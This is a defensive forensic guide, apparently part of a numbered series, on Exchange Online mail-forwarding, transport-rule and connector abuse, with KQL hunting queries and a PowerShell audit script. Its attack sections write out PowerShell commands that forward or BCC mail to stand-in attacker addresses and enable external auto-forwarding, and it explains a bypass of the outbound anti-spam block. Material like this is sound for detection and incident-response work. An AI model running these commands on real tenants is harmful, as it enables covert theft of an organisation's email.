Mail Forwarding, Transport Rules & Connector Abuse
While mailbox-level inbox rules provide targeted persistence against individual victims, adversaries seeking tenant-wide exfiltration and administrative persistence operate at higher architectural tiers within Exchange Online. By manipulating mailbox-level forwarding attributes, tenant mail flow transport rules, and outbound mail connectors, threat actors establish automated surveillance mechanisms that capture entire organizational communication streams.
Furthermore, sophisticated actors know how to circumvent Microsoftβs default outbound anti-spam protectionsβwhich natively block external auto-forwarding with NDR 550 5.7.520βby weaponizing transport-level blind carbon copy (BCC) duplication and tampering with hosted filter policies.
This guide provides an exhaustive architectural and forensic dissection of the three tiers of cloud mail redirection, analyzes anti-spam bypass mechanics, decodes Purview audit records, and provides production-grade KQL hunting queries and PowerShell remediation scripts.
1. The Three Tiers of Cloud Mail Redirection
Section titled β1. The Three Tiers of Cloud Mail RedirectionβExchange Online offers three distinct architectural layers for diverting or duplicating message traffic:
graph TD INCOMING[Inbound Email Arrives at EOP Front-End] --> TIER3{Tier 3: Inbound / Outbound Connectors<br/>Custom Smart Host Routing / Relay Abuse}
TIER3 --> TIER2{Tier 2: Mail Flow Transport Rules<br/>Tenant-Wide Categorizer Evaluation<br/>BlindCopyTo / RedirectMessageTo}
TIER2 --> TIER1{Tier 1: Mailbox Properties<br/>ForwardingSmtpAddress / ForwardingAddress<br/>DeliverToMailboxAndForward}
TIER1 --> STORE[Deposit in Mailbox Store]
TIER1 -.->|External Redirection| EXFIL1[(Attacker Drop Box)] TIER2 -.->|Silent BCC Duplication| EXFIL2[(Attacker Drop Box)] TIER3 -.->|MTA Relay Hijack| EXFIL3[(Attacker Controlled Mail Server)]1.1 Comparative Matrix of Redirection Tiers
Section titled β1.1 Comparative Matrix of Redirection Tiersβ| Redirection Tier | Administrative Scope | Configuration Cmdlets | Forensic Impact & Risk |
|---|---|---|---|
| Tier 1: Mailbox Properties | Per-User Mailbox | Set-Mailbox -ForwardingSmtpAddress | Forwards all incoming mail for a specific user to an external address. Subject to Outbound Anti-Spam Policy blocks. |
| Tier 2: Transport Rules | Tenant-Wide (All Users) | New-TransportRule -BlindCopyTo | Silently duplicates messages across the entire tenant matching sensitive criteria. Bypasses Outbound Anti-Spam auto-forwarding blocks. |
| Tier 3: Connectors | Tenant Transport Boundary | New-OutboundConnector | Reroutes outbound traffic for specific domains through an attacker-specified external smart host, intercepting plain text emails. |
2. Mailbox-Level Forwarding Mechanics (Tier 1)
Section titled β2. Mailbox-Level Forwarding Mechanics (Tier 1)βAt the individual mailbox level, Exchange Online provides two distinct forwarding parameters on the mailbox object:
ForwardingAddress: Points to an internal recipient object already present within the Entra ID / Exchange Global Address List (such as a mail user or contact).ForwardingSmtpAddress: Accepts an arbitrary external SMTP address string (e.g.,exfil@threat-actor.com).DeliverToMailboxAndForward:- If set to
$true, incoming messages are deposited in the victimβs inbox and forwarded externally. - If set to
$false, the mailbox acts as a black hole: incoming messages are forwarded to the attacker, but no copy is deposited in the victimβs mailbox, leaving the victim completely unaware that emails arrived.
- If set to
# Attacker configuration commandSet-Mailbox -Identity "cfo@target.com" ` -ForwardingSmtpAddress "accounting-audit@attacker-domain.com" ` -DeliverToMailboxAndForward $false3. Subverting Microsoft Anti-Forwarding Defenses
Section titled β3. Subverting Microsoft Anti-Forwarding DefensesβTo combat Business Email Compromise, Microsoft enforces a default outbound anti-spam policy where external automated forwarding is disabled:
550 5.7.520 Access denied, Your organization does not allow external forwarding.However, threat actors routinely bypass this control through two primary mechanisms:
graph TD ATTACK[Adversary Seeks External Mail Forwarding] --> METHOD{Bypass Vector}
METHOD -->|Vector A: Policy Tampering| POL[Modify Outbound Anti-Spam Policy<br/>Set-HostedOutboundSpamFilterPolicy<br/>AutoForwardingMode = On] METHOD -->|Vector B: Transport Rule Duplication| TR[Create Transport Rule with BlindCopyTo<br/>New-TransportRule -BlindCopyTo attacker@drop.com]
POL --> NDR_OFF[EOP Permits All Outbound Forwarding<br/>NDR 5.7.520 Silenced Tenant-Wide] TR --> CAT_DUP[Transport Categorizer Duplicates Message<br/>Evaluated as Independent Envelope Recipient<br/>Not Classified as 'Auto-Forward'!]3.1 Vector A: Policy Tampering
Section titled β3.1 Vector A: Policy TamperingβIf the adversary compromises an identity with the Exchange Administrator or Security Administrator role, they directly reconfigure the default policy:
Set-HostedOutboundSpamFilterPolicy -Identity "Default" -AutoForwardingMode OnThis single command re-enables external forwarding tenant-wide, opening the floodgates for mailbox-level exfiltration.
3.2 Vector B: Transport Rule Duplication (The BCC Loophole)
Section titled β3.2 Vector B: Transport Rule Duplication (The BCC Loophole)βThe most sophisticated adversaries do not touch the anti-spam policy. Instead, they create a Mail Flow Transport Rule that applies a BlindCopyTo (BCC) action:
New-TransportRule -Name "Executive Financial Oversight" ` -FromScope InOrganization ` -SubjectOrBodyContainsWords @("wire", "invoice", "payment", "bank") ` -BlindCopyTo "exfil@external-intelligence.com" ` -Priority 0Why the BCC Technique Succeeds:
Section titled βWhy the BCC Technique Succeeds:βExchange Onlineβs transport categorizer treats BlindCopyTo as a transport-level envelope recipient expansion, not as a user-initiated client auto-forward. Consequently, EOP evaluates the message as an ordinary outbound email, completely bypassing the AutoForwardingMode = Prohibited block!
4. Telemetry & Log Artifacts in Purview UAL
Section titled β4. Telemetry & Log Artifacts in Purview UALβModifications across all three tiers generate audit records under RecordType: ExchangeAdmin (2) in the Purview Unified Audit Log:
| Operation Name | Workload | Forensic Details Captured in AuditData |
|---|---|---|
Set-Mailbox | Exchange | Parameters.ForwardingSmtpAddress, Parameters.DeliverToMailboxAndForward, Target: victim@target.com. |
New-TransportRule | Exchange | Parameters.Name, Parameters.BlindCopyTo, Parameters.RedirectMessageTo, rule conditions. |
Set-HostedOutboundSpamFilterPolicy | Exchange | Parameters.AutoForwardingMode (On vs Prohibited). |
New-OutboundConnector | Exchange | Parameters.SmartHosts, Parameters.RecipientDomains, Parameters.TlsDomain. |
// Example: Raw AuditData JSON for Malicious Transport Rule Creation{ "CreationTime": "2026-03-24T11:45:10", "Id": "9f8e7d6c-5b4a-3210-9876-1e2f3a4b5c6d", "Operation": "New-TransportRule", "OrganizationId": "8f3b6a9c-2d1e-4b5a-9f8e-7c6b5a4d3e2f", "RecordType": 2, "ResultStatus": "True", "UserId": "admin-compromised@target.com", "ClientIP": "198.51.100.33", "Parameters": [ { "Name": "Name", "Value": "Client Service Feedback Loop" }, { "Name": "BlindCopyTo", "Value": "surveillance@external-drop.com" }, { "Name": "SubjectOrBodyContainsWords", "Value": "invoice;wire;transfer;bank" }, { "Name": "Priority", "Value": "0" } ]}5. Production KQL Hunting Queries
Section titled β5. Production KQL Hunting Queriesβ5.1 Detecting Tampering with Outbound Anti-Spam Policy
Section titled β5.1 Detecting Tampering with Outbound Anti-Spam PolicyβFlag any administrative action that enables automated external mail forwarding:
CloudAppEvents| where TimeGenerated >= ago(30d)| where ActionType in ("Set-HostedOutboundSpamFilterPolicy", "New-HostedOutboundSpamFilterPolicy")| extend Raw = parse_json(RawEventData)| extend Parameters = Raw.Parameters| mv-expand Parameters| where Parameters.Name == "AutoForwardingMode" and Parameters.Value in ("On", "Enabled")| project TimeGenerated, AccountDisplayName, ActionType, PolicyName=tostring(Raw.ObjectId), ClientIP=tostring(Raw.ClientIP), Parameters| sort by TimeGenerated desc5.2 Detecting Transport Rules Adding External BCC or Redirection
Section titled β5.2 Detecting Transport Rules Adding External BCC or RedirectionβIdentify newly created transport rules that duplicate or redirect emails to external domains:
CloudAppEvents| where TimeGenerated >= ago(30d)| where ActionType in ("New-TransportRule", "Set-TransportRule")| extend Raw = parse_json(RawEventData)| extend Parameters = Raw.Parameters| mv-expand Parameters| extend ParamName = tostring(Parameters.Name), ParamValue = tostring(Parameters.Value)| summarize RuleParams = make_bag(pack(ParamName, ParamValue)), ClientIP = take_any(tostring(Raw.ClientIP)) by TimeGenerated, AccountDisplayName, ActionType| extend RuleName = tostring(RuleParams.Name), BlindCopyTo = tostring(RuleParams.BlindCopyTo), RedirectTo = tostring(RuleParams.RedirectMessageTo)| where isnotempty(BlindCopyTo) or isnotempty(RedirectTo)| project TimeGenerated, AccountDisplayName, ActionType, RuleName, BlindCopyTo, RedirectTo, ClientIP| sort by TimeGenerated desc5.3 Detecting Mailbox-Level Forwarding Assignments (Set-Mailbox)
Section titled β5.3 Detecting Mailbox-Level Forwarding Assignments (Set-Mailbox)βIdentify any mailbox where an external forwarding SMTP address was assigned:
CloudAppEvents| where TimeGenerated >= ago(30d)| where ActionType == "Set-Mailbox"| extend Raw = parse_json(RawEventData)| extend Parameters = Raw.Parameters| mv-expand Parameters| where Parameters.Name in ("ForwardingSmtpAddress", "ForwardingAddress")| where isnotempty(tostring(Parameters.Value))| project TimeGenerated, AccountDisplayName, TargetMailbox=tostring(Raw.ObjectId), ForwardingParameter=tostring(Parameters.Name), ForwardingTarget=tostring(Parameters.Value), ClientIP=tostring(Raw.ClientIP)| sort by TimeGenerated desc6. Comprehensive PowerShell Triage & Neutralization Script
Section titled β6. Comprehensive PowerShell Triage & Neutralization ScriptβRun this script during an incident response engagement to audit all three mail routing tiers:
# Prerequisites: ExchangeOnlineManagement module# Connect-ExchangeOnline
Write-Host "=====================================================" -ForegroundColor CyanWrite-Host " EXCHANGE ONLINE MAIL ROUTING & FORWARDING AUDIT " -ForegroundColor CyanWrite-Host "=====================================================" -ForegroundColor Cyan
# 1. Audit Outbound Anti-Spam PolicyWrite-Host "`n[*] Auditing Outbound Anti-Spam Policies..." -ForegroundColor Yellow$spamPolicies = Get-HostedOutboundSpamFilterPolicyforeach ($pol in $spamPolicies) { if ($pol.AutoForwardingMode -eq "On") { Write-Error "[!] CRITICAL RISK: Policy '$($pol.Name)' has AutoForwardingMode set to ON!" } else { Write-Host "[+] Policy '$($pol.Name)': AutoForwardingMode is $($pol.AutoForwardingMode)" -ForegroundColor Green }}
# 2. Audit Mailbox-Level ForwardingWrite-Host "`n[*] Auditing Mailboxes for External Forwarding..." -ForegroundColor Yellow$forwarded = Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ForwardingSmtpAddress -or $_.ForwardingAddress }if ($forwarded) { Write-Warning "[!] Found $($forwarded.Count) mailboxes with active forwarding:" $forwarded | Select-Object DisplayName, UserPrincipalName, ForwardingSmtpAddress, DeliverToMailboxAndForward | Format-Table} else { Write-Host "[+] No mailboxes configured with external forwarding." -ForegroundColor Green}
# 3. Audit Transport Rules for BCC / RedirectionWrite-Host "`n[*] Auditing Mail Flow Transport Rules..." -ForegroundColor Yellow$transportRules = Get-TransportRule | Where-Object { $_.BlindCopyTo -or $_.RedirectMessageTo }if ($transportRules) { Write-Warning "[!] Found $($transportRules.Count) Transport Rules with BCC or Redirection:" $transportRules | Select-Object Name, Priority, State, BlindCopyTo, RedirectMessageTo | Format-Table} else { Write-Host "[+] No suspicious BCC transport rules detected." -ForegroundColor Green}
# 4. Audit Outbound ConnectorsWrite-Host "`n[*] Auditing Outbound Connectors..." -ForegroundColor Yellow$connectors = Get-OutboundConnectorif ($connectors) { Write-Warning "[!] Review all configured Outbound Connectors:" $connectors | Select-Object Name, Enabled, ConnectorType, SmartHosts, RecipientDomains | Format-Table} else { Write-Host "[+] No custom outbound connectors configured." -ForegroundColor Green}7. Cross-Reference & Investigation Navigation
Section titled β7. Cross-Reference & Investigation Navigationβ- Previous Fiche: 27. Mailbox Rules & Hidden Inbox Manipulation as Persistence
- Next Fiche: 29. OAuth Consent, Malicious Enterprise Apps & Service Principals
- Related Guides: